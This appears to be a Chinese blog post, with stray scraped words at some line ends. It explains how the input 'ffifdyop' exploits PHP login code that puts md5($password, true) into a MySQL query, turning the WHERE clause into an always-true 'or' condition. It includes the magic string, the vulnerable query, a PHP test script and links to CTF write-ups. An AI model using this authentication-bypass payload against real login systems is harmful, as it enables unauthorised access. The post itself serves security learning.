今天看到$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
这样一个sql,其实能够注入。php
思路比较明确,当md5后的hex转换成字符串后,若是包含'or'<trash>
这样的字符串,那整个sql变成mysql
SELECT * FROM admin WHERE pass = ''or'6<trash>'
很明显能够注入了。sql
难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or'6<trash>
数据库
测试代码:post
<?php error_reporting(0); $link = mysql_connect('localhost', 'root', ''); if (!$link) { die('Could not connect to MySQL: ' . mysql_error()); } // 选择数据库 $db = mysql_select_db("test", $link); if(!$db) { echo 'select db error'; exit(); } // 执行sql $password = "ffifdyop"; $sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"; var_dump($sql); $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); var_dump($row1); mysql_close($link); ?>
效果:测试
参考:
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashesfetch